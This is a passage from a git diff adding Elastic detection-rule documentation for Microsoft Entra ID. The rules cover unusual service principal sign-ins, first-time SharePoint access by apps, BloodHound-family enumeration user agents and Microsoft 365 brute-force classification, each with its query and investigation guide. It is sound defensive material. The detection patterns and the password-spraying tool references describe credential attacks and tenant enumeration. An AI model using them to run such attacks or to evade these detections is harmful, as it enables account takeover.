unfamiliar hosting providers, residential or VPN egress, or networks outside normal automation footprints, which can precede data access, lateral movement, or ransomware activity in the tenant. The detection emphasizes first-seen network context for non-interactive workload identities. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-azure.signinlogs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 1h + +*Searches indices from*: now-65m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://learn.microsoft.com/en-us/entra/identity/monitoring-health/concept-sign-ins +* https://learn.microsoft.com/en-us/entra/identity/conditional-access/workload-identities +* https://www.microsoft.com/en-us/security/blog/2025/08/27/storm-0501s-evolving-techniques-lead-to-cloud-based-ransomware/ +* https://www.wiz.io/blog/lateral-movement-risks-in-the-cloud-and-how-to-prevent-them-part-3-from-compromis + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: Azure +* Data Source: Microsoft Entra ID +* Data Source: Microsoft Entra ID Sign-In Logs +* Use Case: Identity and Access Audit +* Use Case: Threat Detection +* Tactic: Initial Access +* Resources: Investigation Guide + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID Service Principal with Unusual Source ASN* + + +This rule matches successful **ServicePrincipalSignInLogs** events where `azure.signinlogs.properties.service_principal_id` +and `source.as.number` together have not appeared in the rule history window. It is a first-seen network path signal for +the workload identity, not proof of compromise by itself. + + +*Possible investigation steps* + + +- Confirm the event is **ServicePrincipalSignInLogs** with a successful outcome and review `azure.signinlogs.properties.status.error_code` on the source document if needed. +- Identify the application using `azure.signinlogs.properties.app_display_name`, `azure.signinlogs.properties.app_id`, and `azure.signinlogs.properties.service_principal_id`. In Entra ID, review the enterprise application or app registration (first-party, partner, or internal automation). +- Review `source.ip`, `source.as.organization.name`, `source.as.number`, and `source.geo.*` against the owning team’s expected regions, cloud subscriptions, and CI/CD or automation footprint. +- Compare `@timestamp` to maintenance windows, releases, and planned infrastructure changes. +- Where possible, enrich `source.ip` with internal CMDB, cloud asset inventory, or threat intelligence (residential or low-reputation ASNs warrant more scrutiny than a known cloud provider already used by this app). +- In Entra sign-in logs, pivot on the same `service_principal_id` or `app_id` and review prior successful sign-ins for typical ASNs and egress patterns; a one-off path may be a new pipeline or stolen credentials used from a new host. +- Review Entra audit logs for recent changes to this application: client secrets, certificates, federated credentials, owners, API permissions, or app role assignments, especially shortly before the alert. +- Query Azure Activity, Microsoft Graph, or workload-specific logs after the sign-in time using `azure.signinlogs.properties.correlation_id` or `session_id` when present to see what resources the identity accessed (subscriptions, Key Vault, mail, privileged roles). +- Search for related alerts in the same time window involving the same `app_id` or `source.ip` (for example OAuth abuse, consent, Arc or Kubernetes access, or directory role changes). +- Note that the rule query excludes Microsoft-labeled `source.as.organization.name` values; high-value investigations should also review raw sign-in data for suspicious activity that only appears under those labels. + + +*False positive analysis* + + +- New regions, subscriptions, GitHub Actions or Azure DevOps pools, DR exercises, or vendor migrations can produce a legitimate first-seen ASN for the service principal. Validate with the owner and document expected paths before excluding. +- Amazon- and Google-labeled ASNs are in scope by design; adversaries may egress through AWS or GCP. Expect more noise from legitimate automation in those clouds and prefer allowlisting reviewed `app_id` or automation accounts over disabling the rule. +- GeoIP or ASN enrichment updates can occasionally produce a one-time new tuple; compare to historical events for the same IP if available. + + +*Response and remediation* + + +- If the path is unexpected and risky audit activity preceded the sign-in, treat as a potential credential incident: rotate application secrets and certificates, revoke sessions or tokens as applicable, and review Conditional Access and workload identity policies for the application. +- Review and reduce API permissions, OAuth scopes, and directory or subscription roles granted to the application; remove unused access. +- Document approved automation and network baselines so repeat first-seen ASN alerts can be triaged faster. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:azure.signinlogs + and azure.signinlogs.category:ServicePrincipalSignInLogs + and azure.signinlogs.properties.status.error_code:0 + and azure.signinlogs.properties.service_principal_id:* + and source.as.number:* + and not source.as.organization.name:(*MICROSOFT* or *Microsoft*) + and not azure.signinlogs.properties.app_owner_tenant_id:(72f988bf-86f1-41af-91ab-2d7cd011db47 or f8cdef31-a31e-4b4a-93e4-5f571e91255a) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-sharepoint-or-onedrive-accessed-by-unusual-client.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-sharepoint-or-onedrive-accessed-by-unusual-client.asciidoc new file mode 100644 index 0000000000..ae6740f606 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-sharepoint-or-onedrive-accessed-by-unusual-client.asciidoc @@ -0,0 +1,178 @@ +[[prebuilt-rule-8-19-21-entra-id-sharepoint-or-onedrive-accessed-by-unusual-client]] +=== Entra ID Sharepoint or OneDrive Accessed by Unusual Client + +Identifies when an application accesses SharePoint Online or OneDrive for Business for the first time in the tenant within a specified timeframe. This detects successful OAuth phishing campaigns, illicit consent grants, or compromised third-party applications gaining initial access to file storage. Adversaries often use malicious OAuth applications or phishing techniques to gain consent from users, allowing persistent access to organizational data repositories without traditional credential theft. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-azure.signinlogs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.volexity.com/blog/2025/04/22/phishing-for-codes-russian-threat-actors-target-microsoft-365-oauth-workflows/ +* https://www.microsoft.com/en-us/security/blog/2022/09/22/malicious-oauth-applications-used-to-compromise-email-servers-and-spread-spam/ +* https://learn.microsoft.com/en-us/entra/identity/enterprise-apps/manage-consent-requests +* https://github.com/merill/microsoft-info/blob/main/_info/MicrosoftApps.json + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Domain: Storage +* Use Case: Identity and Access Audit +* Tactic: Collection +* Tactic: Initial Access +* Data Source: Azure +* Data Source: Microsoft Entra ID +* Data Source: Microsoft Entra ID Sign-in Logs +* Resources: Investigation Guide + +*Version*: 6 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID Sharepoint or OneDrive Accessed by Unusual Client* + + +This rule identifies when an application accesses SharePoint Online or OneDrive for Business for the first time in the tenant. This is a critical signal for detecting successful OAuth phishing campaigns, where adversaries trick users into granting consent to malicious applications. Once consent is granted, the malicious app can persistently access file storage without further user interaction. This detection also catches illicit consent grants, compromised third-party applications, or custom malicious apps registered by adversaries. + + +*Possible Investigation Steps:* + + +- Identify the Application: Review `azure.signinlogs.properties.app_id` and `azure.signinlogs.properties.app_display_name` to determine which application accessed SharePoint. Cross-reference with known legitimate applications in your environment. +- Check Application Registration: Search Entra ID app registrations for the app ID. Determine if it's a first-party Microsoft app, known third-party integration, or suspicious/unknown application. +- Review Consent History: Investigate when and how consent was granted. Check `azure.auditlogs` for recent `Consent to application` events matching this app ID. Identify which user granted consent and whether it was admin or user consent. +- Analyze Permissions Granted: Review the OAuth scopes and permissions granted to the application. Look for overly broad permissions (e.g., `Files.ReadWrite.All`, `Sites.ReadWrite.All`) that exceed business requirements. +- Correlate with User Activity: Check if the user who granted consent recently received phishing emails, clicked suspicious links, or reported potential phishing attempts. +- Inspect Source IP and Location: Review `source.ip` and `source.geo.*` fields. Determine if the sign-in originated from expected locations or suspicious infrastructure (VPNs, data centers, anonymizers). +- Review Application Publisher: Check if the application is verified by Microsoft or has a suspicious/generic publisher name. Unverified applications with generic names (e.g., "File Viewer", "Document Manager") are common in phishing. +- Check for Data Access: Review subsequent SharePoint audit logs to see what files/sites the application accessed after gaining consent. +- Conditional Access Evaluation: Review `azure.signinlogs.properties.applied_conditional_access_policies` to determine if any security controls were bypassed or if the application should have been blocked. + + +*False Positive Analysis* + + +- New Legitimate Integrations: Newly deployed third-party SaaS applications (e.g., document management, collaboration tools) that integrate with SharePoint will trigger this detection during initial setup. Validate with IT/procurement teams. +- Microsoft First-Party Applications: This rule excludes common Microsoft first-party apps (Office 365 SharePoint Online, OneDrive SyncEngine, OneDrive iOS App, Microsoft Office, SharePoint Web Client Extensibility, Microsoft Teams, Office 365 Exchange Online, and other Microsoft-owned app IDs). However, new Microsoft applications or features may still appear. Cross-reference unfamiliar app IDs against Microsoft's first-party app list. +- Development/Testing: Developers testing OAuth flows or building internal applications may generate alerts in development or staging environments. +- Organizational Changes: Mergers, acquisitions, or tenant migrations may introduce legitimate applications from partner organizations accessing SharePoint for the first time. + + +*Response and Remediation* + + +- Immediate Actions if Malicious: + - Revoke consent for the malicious application immediately via Entra ID > Enterprise Applications + - Revoke all active sessions and refresh tokens for affected users + - Disable the application's service principal to prevent further access + - Review and remediate any data accessed by the application using SharePoint audit logs +- User Notification: Contact users who granted consent to inform them of the phishing attempt and provide security awareness training on identifying malicious OAuth consent requests +- Conditional Access Hardening: Implement or strengthen Conditional Access policies to: + - Require admin consent for high-risk permissions (Files.ReadWrite.All, Sites.ReadWrite.All) + - Block unverified publishers from accessing sensitive resources + - Enforce device compliance and MFA for application access +- Tenant-Wide Review: Audit all application consents across the tenant to identify other potentially malicious applications that may have gained access through similar campaigns +- Monitor for Campaign Patterns: Check if the same malicious application targeted multiple users, indicating an organized phishing campaign. Coordinate with email security teams to identify and block phishing emails used in the campaign. + + + +==== Setup + + + +*Required Microsoft Entra ID Sign-In Logs* + +To use this rule, ensure that Microsoft Entra ID Sign-In Logs are being collected and streamed into the Elastic Stack via the Azure integration. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:azure.signinlogs + and azure.signinlogs.properties.resource_id: ( + 00000003-0000-0ff1-ce00-000000000000 or + 6a9b9266-8161-4a7b-913a-a9eda19da220 + ) and azure.signinlogs.properties.app_id: ( * + and not ( + 00000003-0000-0ff1-ce00-000000000000 or + 08e18876-6177-487e-b8b5-cf950c1e598c or + ab9b8c07-8f02-4f72-87fa-80105867a763 or + af124e86-4e96-495a-b70a-90f90ab96707 + ) + ) + and azure.signinlogs.properties.tenant_id:* + and event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Information Repositories +** ID: T1213 +** Reference URL: https://attack.mitre.org/techniques/T1213/ +* Sub-technique: +** Name: Sharepoint +** ID: T1213.002 +** Reference URL: https://attack.mitre.org/techniques/T1213/002/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Technique: +** Name: Phishing +** ID: T1566 +** Reference URL: https://attack.mitre.org/techniques/T1566/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Credentials +** ID: T1098.001 +** Reference URL: https://attack.mitre.org/techniques/T1098/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-sign-in-bloodhound-suite-user-agent-detected.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-sign-in-bloodhound-suite-user-agent-detected.asciidoc new file mode 100644 index 0000000000..dcf2eafa1e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-sign-in-bloodhound-suite-user-agent-detected.asciidoc @@ -0,0 +1,174 @@ +[[prebuilt-rule-8-19-21-entra-id-sign-in-bloodhound-suite-user-agent-detected]] +=== Entra ID Sign-in BloodHound Suite User-Agent Detected + +Identifies potential enumeration activity using AzureHound, SharpHound, or BloodHound across Microsoft cloud services. These tools are often used by red teamers and adversaries to map users, groups, roles, applications, and access relationships within Microsoft Entra ID (Azure AD) and Microsoft 365. + +*Rule type*: eql + +*Rule indices*: + +* filebeat-* +* logs-azure.* +* logs-o365.audit-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://specterops.io/bloodhound-overview/ +* https://github.com/SpecterOps/AzureHound +* https://www.microsoft.com/en-us/security/blog/2025/05/27/new-russia-affiliated-actor-void-blizzard-targets-critical-sectors-for-espionage/ + +*Tags*: + +* Domain: Cloud +* Data Source: Azure +* Data Source: Azure Activity Logs +* Data Source: Graph API +* Data Source: Graph API Activity Logs +* Data Source: Microsoft 365 +* Data Source: Microsoft 365 Audit Logs +* Data Source: Microsoft Entra ID +* Data Source: Microsoft Entra ID Audit Logs +* Data Source: Microsoft Entra ID Sign-in Logs +* Use Case: Identity and Access Audit +* Use Case: Threat Detection +* Tactic: Discovery +* Resources: Investigation Guide + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +This rule identifies potential enumeration activity using AzureHound, SharpHound, or BloodHound across Microsoft cloud services. These tools are often used by red teamers and adversaries to map users, groups, roles, applications, and access relationships within Microsoft Entra ID (Azure AD) and Microsoft 365. + +The detection is based on known enumeration patterns, particularly the presence of suspicious user agent strings (e.g., `azurehound/`, `sharphound/`, `bloodhound/`) in various Azure and M365 logs. The rule monitors multiple log sources, including: + +- Azure Graph API Activity Logs +- Microsoft 365 Audit Logs +- Entra ID Sign-in Logs +- Entra ID Audit Logs +- Azure Activity Logs + +This ensures broader detection of credential abuse, token misuse, or unauthorized identity discovery activity from both interactive and non-interactive (API) sessions. + + +*Possible investigation steps* + + +- Confirm the tool used via `user_agent.original`. Look for: + - `azurehound/x.y.z` + - `bloodhound/1.0` + - `sharphound/1.0` +- Examine `url.original` or `url.path` to determine which APIs were accessed if Graph API activity logs. For example: + - `/v1.0/organization`, `/v1.0/users`, `/v1.0/groups` may indicate user/group/tenant discovery. +- Identify the `user.id`, `user.name`, or `azure.auditlogs.properties.initiated_by.user.user_principal_name` fields to determine which identity executed the API request. +- Review `app_id`, `app_display_name`, or `client_id` to identify the application context (e.g., Azure CLI, Graph Explorer, unauthorized app). +- Check `http.request.method`, `http.response.status_code`, and `event.action` for enumeration patterns (many successful GETs in a short period) if Graph API activity logs. +- Investigate correlated sign-ins (`azure.signinlogs`) by the same user, IP, or app immediately preceding the API calls. Was MFA used? Is the location suspicious? +- Review `source.ip`, `client.geo.*`, and `network.*` fields to determine the origin of the requests. Flag unexpected IPs or ISPs. +- If the event originates in M365 Audit Logs, investigate cross-service activity: Exchange Online, Teams, SharePoint, or role escalations via Unified Audit. + + +*False positive analysis* + + +- This activity may be benign if performed by red teams, internal security auditors, or known security tools under authorization. +- Automated monitoring solutions, cloud posture scanners, or legitimate Azure/M365 integrations may generate similar traffic. Review the `app_id` and user context. +- Developer activity in test tenants may include tool usage for learning or validation purposes. + + +*Response and remediation* + + +- If confirmed malicious: + - Revoke active sessions or tokens associated with the identified user/app. + - Disable the account or rotate credentials immediately. + - Review the role assignments (`Directory.Read.All`, `AuditLog.Read.All`, `Directory.AccessAsUser.All`) and remove excessive privileges. + - Conduct historical analysis to determine how long enumeration has been occurring and what objects were queried. + - Enable Conditional Access policies to require MFA for API and CLI-based access. + - Validate audit logging and alerting is enabled across Microsoft Graph, Azure Activity Logs, and M365 workloads. + +- If legitimate: + - Document the source (e.g., red team operation, security tool). + - Add appropriate allowlist conditions for service principal, user, source address or device if policy allows. + + + +==== Rule query + + +[source, js] +---------------------------------- +any where data_stream.dataset : ( + "azure.activitylogs", + "azure.graphactivitylogs", + "azure.auditlogs", + "azure.signinlogs", + "o365.audit" +) and user_agent.original regex~ "(azure|sharp|blood)(hound)/.*" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Permission Groups Discovery +** ID: T1069 +** Reference URL: https://attack.mitre.org/techniques/T1069/ +* Sub-technique: +** Name: Cloud Groups +** ID: T1069.003 +** Reference URL: https://attack.mitre.org/techniques/T1069/003/ +* Technique: +** Name: System Information Discovery +** ID: T1082 +** Reference URL: https://attack.mitre.org/techniques/T1082/ +* Technique: +** Name: Account Discovery +** ID: T1087 +** Reference URL: https://attack.mitre.org/techniques/T1087/ +* Sub-technique: +** Name: Cloud Account +** ID: T1087.004 +** Reference URL: https://attack.mitre.org/techniques/T1087/004/ +* Technique: +** Name: Password Policy Discovery +** ID: T1201 +** Reference URL: https://attack.mitre.org/techniques/T1201/ +* Technique: +** Name: Cloud Service Discovery +** ID: T1526 +** Reference URL: https://attack.mitre.org/techniques/T1526/ +* Technique: +** Name: Cloud Infrastructure Discovery +** ID: T1580 +** Reference URL: https://attack.mitre.org/techniques/T1580/ +* Technique: +** Name: Virtual Machine Discovery +** ID: T1673 +** Reference URL: https://attack.mitre.org/techniques/T1673/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-sign-in-brute-force-attempted-microsoft-365.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-sign-in-brute-force-attempted-microsoft-365.asciidoc new file mode 100644 index 0000000000..63c6348056 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-sign-in-brute-force-attempted-microsoft-365.asciidoc @@ -0,0 +1,275 @@ +[[prebuilt-rule-8-19-21-entra-id-sign-in-brute-force-attempted-microsoft-365]] +=== Entra ID Sign-in Brute Force Attempted (Microsoft 365) + +Identifies potential brute-force attacks targeting Microsoft 365 user accounts by analyzing failed sign-in patterns in Microsoft Entra ID Sign-In Logs. This detection focuses on a high volume of failed interactive or non-interactive authentication attempts within a short time window, often indicative of password spraying, credential stuffing, or password guessing. Adversaries may use these techniques to gain unauthorized access to Microsoft 365 services such as Exchange Online, SharePoint, or Teams. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 15m + +*Searches indices from*: now-60m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-password-spraying +* https://learn.microsoft.com/en-us/security/operations/incident-response-playbook-password-spray +* https://learn.microsoft.com/en-us/purview/audit-log-detailed-properties +* https://securityscorecard.com/research/massive-botnet-targets-m365-with-stealthy-password-spraying-attacks/ +* https://learn.microsoft.com/en-us/entra/identity-platform/reference-error-codes +* https://github.com/0xZDH/Omnispray +* https://github.com/0xZDH/o365spray + +*Tags*: + +* Domain: Cloud +* Domain: SaaS +* Domain: Identity +* Data Source: Azure +* Data Source: Entra ID +* Data Source: Entra ID Sign-in Logs +* Use Case: Identity and Access Audit +* Use Case: Threat Detection +* Tactic: Credential Access +* Resources: Investigation Guide + +*Version*: 111 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID Sign-in Brute Force Attempted (Microsoft 365)* + + +Identifies brute-force authentication activity against Microsoft 365 services using Entra ID sign-in logs. This detection groups and classifies failed sign-in attempts based on behavior indicative of password spraying, credential stuffing, or password guessing. The classification (`bf_type`) is included for immediate triage. + + +*Possible investigation steps* + + +- Review `bf_type`: Classifies the brute-force behavior (`password_spraying`, `credential_stuffing`, `password_guessing`). +- Examine `user_id_list`: Review the identities targeted. Are they admins, service accounts, or external identities? +- Review `login_errors`: Multiple identical errors (e.g., `"Invalid grant..."`) suggest automated abuse or tooling. +- Check `ip_list` and `source_orgs`: Determine if requests came from known VPNs, hosting providers, or anonymized infrastructure. +- Validate `unique_ips` and `countries`: Multiple countries or IPs in a short window may indicate credential stuffing or distributed spray attempts. +- Compare `total_attempts` vs `duration_seconds`: High volume over a short duration supports non-human interaction. +- Inspect `user_agent.original` via `device_detail_browser`: Clients like `Python Requests` or `curl` are highly suspicious. +- Investigate `client_app_display_name` and `incoming_token_type`: Identify non-browser-based logins, token abuse or commonly mimicked clients like VSCode. +- Review `target_resource_display_name`: Confirm the service being targeted (e.g., SharePoint, Exchange). This may be what authorization is being attempted against. +- Pivot using `session_id` and `device_detail_device_id`: Determine if a single device is spraying multiple accounts. +- Check `conditional_access_status`: If "notApplied", determine whether conditional access is properly scoped. +- Correlate `user_principal_name` with successful sign-ins: Investigate surrounding logs for lateral movement or privilege abuse. + + +*False positive analysis* + + +- Developer automation (e.g., CI/CD logins) or mobile sync errors may create noisy but benign login failures. +- Red team exercises or pentesting can resemble brute-force patterns. +- Legacy protocols or misconfigured service principals may trigger repeated login failures from the same IP or session. + + +*Response and remediation* + + +- Notify identity or security operations teams to investigate further. +- Lock or reset affected user accounts if compromise is suspected. +- Block the source IP(s) or ASN temporarily using conditional access or firewall rules. +- Review tenant-wide MFA and conditional access enforcement. +- Audit targeted accounts for password reuse across systems or tenants. +- Enable lockout or throttling policies for repeated failed login attempts. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-azure.signinlogs-* + +| eval + Esql.time_window_date_trunc = date_trunc(15 minutes, @timestamp), + Esql_priv.azure_signinlogs_properties_user_principal_name_lower = to_lower(azure.signinlogs.properties.user_principal_name), + Esql.azure_signinlogs_properties_incoming_token_type_lower = to_lower(azure.signinlogs.properties.incoming_token_type), + Esql.azure_signinlogs_properties_app_display_name_lower = to_lower(azure.signinlogs.properties.app_display_name), + Esql.user_agent_original = user_agent.original + +| where data_stream.dataset == "azure.signinlogs" + and event.category == "authentication" + and azure.signinlogs.category in ("NonInteractiveUserSignInLogs", "SignInLogs") + and azure.signinlogs.properties.resource_display_name rlike "(.*)365|SharePoint|Exchange|Teams|Office(.*)" + and event.outcome == "failure" + and azure.signinlogs.properties.status.error_code != 50053 + and azure.signinlogs.properties.status.error_code in ( + 50034, // UserAccountNotFound + 50126, // InvalidUsernameOrPassword + 50055, // PasswordExpired + 50056, // InvalidPassword + 50057, // UserDisabled + 50064, // CredentialValidationFailure + 50076, // MFARequiredButNotPassed + 50079, // MFARegistrationRequired + 50105, // EntitlementGrantsNotFound + 70000, // InvalidGrant + 70008, // ExpiredOrRevokedRefreshToken + 70043, // BadTokenDueToSignInFrequency + 80002, // OnPremisePasswordValidatorRequestTimedOut + 80005, // OnPremisePasswordValidatorUnpredictableWebException + 50144, // InvalidPasswordExpiredOnPremPassword + 50135, // PasswordChangeCompromisedPassword + 50142, // PasswordChangeRequiredConditionalAccess + 120000, // PasswordChangeIncorrectCurrentPassword + 120002, // PasswordChangeInvalidNewPasswordWeak + 120020 // PasswordChangeFailure + ) + and azure.signinlogs.properties.user_principal_name is not null + and azure.signinlogs.properties.user_principal_name != "" + and user_agent.original != "Mozilla/5.0 (compatible; MSAL 1.0) PKeyAuth/1.0" + +| stats + Esql.azure_signinlogs_properties_authentication_requirement_values = values(azure.signinlogs.properties.authentication_requirement), + Esql.azure_signinlogs_properties_app_id_values = values(azure.signinlogs.properties.app_id), + Esql.azure_signinlogs_properties_app_display_name_values = values(azure.signinlogs.properties.app_display_name), + Esql.azure_signinlogs_properties_resource_id_values = values(azure.signinlogs.properties.resource_id), + Esql.azure_signinlogs_properties_resource_display_name_values = values(azure.signinlogs.properties.resource_display_name), + Esql.azure_signinlogs_properties_conditional_access_status_values = values(azure.signinlogs.properties.conditional_access_status), + Esql.azure_signinlogs_properties_device_detail_browser_values = values(azure.signinlogs.properties.device_detail.browser), + Esql.azure_signinlogs_properties_device_detail_device_id_values = values(azure.signinlogs.properties.device_detail.device_id), + Esql.azure_signinlogs_properties_device_detail_operating_system_values = values(azure.signinlogs.properties.device_detail.operating_system), + Esql.azure_signinlogs_properties_incoming_token_type_values = values(azure.signinlogs.properties.incoming_token_type), + Esql.azure_signinlogs_properties_risk_state_values = values(azure.signinlogs.properties.risk_state), + Esql.azure_signinlogs_properties_session_id_values = values(azure.signinlogs.properties.session_id), + Esql.azure_signinlogs_properties_user_id_values = values(azure.signinlogs.properties.user_id), + Esql_priv.azure_signinlogs_properties_user_principal_name_values = values(azure.signinlogs.properties.user_principal_name), + Esql.azure_signinlogs_result_description_values = values(azure.signinlogs.result_description), + Esql.azure_signinlogs_result_signature_values = values(azure.signinlogs.result_signature), + Esql.azure_signinlogs_result_type_values = values(azure.signinlogs.result_type), + + Esql.azure_signinlogs_properties_user_principal_name_lower_count_distinct = count_distinct(Esql_priv.azure_signinlogs_properties_user_principal_name_lower), + Esql_priv.azure_signinlogs_properties_user_principal_name_lower_values = values(Esql_priv.azure_signinlogs_properties_user_principal_name_lower), + Esql.azure_signinlogs_result_description_count_distinct = count_distinct(azure.signinlogs.result_description), + Esql.azure_signinlogs_result_description_values = values(azure.signinlogs.result_description), + Esql.azure_signinlogs_properties_status_error_code_count_distinct = count_distinct(azure.signinlogs.properties.status.error_code), + Esql.azure_signinlogs_properties_status_error_code_values = values(azure.signinlogs.properties.status.error_code), + Esql.azure_signinlogs_properties_incoming_token_type_lower_values = values(Esql.azure_signinlogs_properties_incoming_token_type_lower), + Esql.azure_signinlogs_properties_app_display_name_lower_values = values(Esql.azure_signinlogs_properties_app_display_name_lower), + Esql.source_ip_values = values(source.ip), + Esql.source_ip_count_distinct = count_distinct(source.ip), + Esql.source_as_organization_name_values = values(source.`as`.organization.name), + Esql.source_as_organization_name_count_distinct = count_distinct(source.`as`.organization.name), + Esql.source_geo_country_name_values = values(source.geo.country_name), + Esql.source_geo_country_name_count_distinct = count_distinct(source.geo.country_name), + Esql.@timestamp.min = min(@timestamp), + Esql.@timestamp.max = max(@timestamp), + Esql.event_count = count() +by Esql.time_window_date_trunc + +| eval + Esql.event_duration_seconds = date_diff("seconds", Esql.@timestamp.min, Esql.@timestamp.max), + Esql.event_bf_type = case( + Esql.azure_signinlogs_properties_user_principal_name_lower_count_distinct >= 10 + and Esql.event_count >= 30 + and Esql.azure_signinlogs_result_description_count_distinct <= 3 + and Esql.source_ip_count_distinct >= 5 + and Esql.event_duration_seconds <= 600 + and Esql.azure_signinlogs_properties_user_principal_name_lower_count_distinct > Esql.source_ip_count_distinct, + "credential_stuffing", + + Esql.azure_signinlogs_properties_user_principal_name_lower_count_distinct >= 15 + and Esql.azure_signinlogs_result_description_count_distinct == 1 + and Esql.event_count >= 15 + and Esql.event_duration_seconds <= 1800, + "password_spraying", + + (Esql.azure_signinlogs_properties_user_principal_name_lower_count_distinct == 1 + and Esql.azure_signinlogs_result_description_count_distinct == 1 + and Esql.event_count >= 30 + and Esql.event_duration_seconds <= 300) + or (Esql.azure_signinlogs_properties_user_principal_name_lower_count_distinct <= 3 + and Esql.source_ip_count_distinct > 30 + and Esql.event_count >= 100), + "password_guessing", + + "other" + ) + +| where Esql.event_bf_type != "other" + +| keep + Esql.time_window_date_trunc, + Esql.event_bf_type, + Esql.event_duration_seconds, + Esql.event_count, + Esql.@timestamp.min, + Esql.@timestamp.max, + Esql.azure_signinlogs_properties_user_principal_name_lower_count_distinct, + Esql_priv.azure_signinlogs_properties_user_principal_name_lower_values, + Esql.azure_signinlogs_result_description_count_distinct, + Esql.azure_signinlogs_result_description_values, + Esql.azure_signinlogs_properties_status_error_code_count_distinct, + Esql.azure_signinlogs_properties_status_error_code_values, + Esql.azure_signinlogs_properties_incoming_token_type_lower_values, + Esql.azure_signinlogs_properties_app_display_name_lower_values, + Esql.source_ip_values, + Esql.source_ip_count_distinct, + Esql.source_as_organization_name_values, + Esql.source_as_organization_name_count_distinct, + Esql.source_geo_country_name_values, + Esql.source_geo_country_name_count_distinct, + Esql.azure_signinlogs_properties_authentication_requirement_values, + Esql.azure_signinlogs_properties_app_id_values, + Esql.azure_signinlogs_properties_app_display_name_values, + Esql.azure_signinlogs_properties_resource_id_values, + Esql.azure_signinlogs_properties_resource_display_name_values, + Esql.azure_signinlogs_properties_conditional_access_status_values, + Esql.azure_signinlogs_properties_device_detail_browser_values, + Esql.azure_signinlogs_properties_device_detail_device_id_values, + Esql.azure_signinlogs_properties_device_detail_operating_system_values, + Esql.azure_signinlogs_properties_incoming_token_type_values, + Esql.azure_signinlogs_properties_risk_state_values, + Esql.azure_signinlogs_properties_session_id_values, + Esql.azure_signinlogs_properties_user_id_values + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: 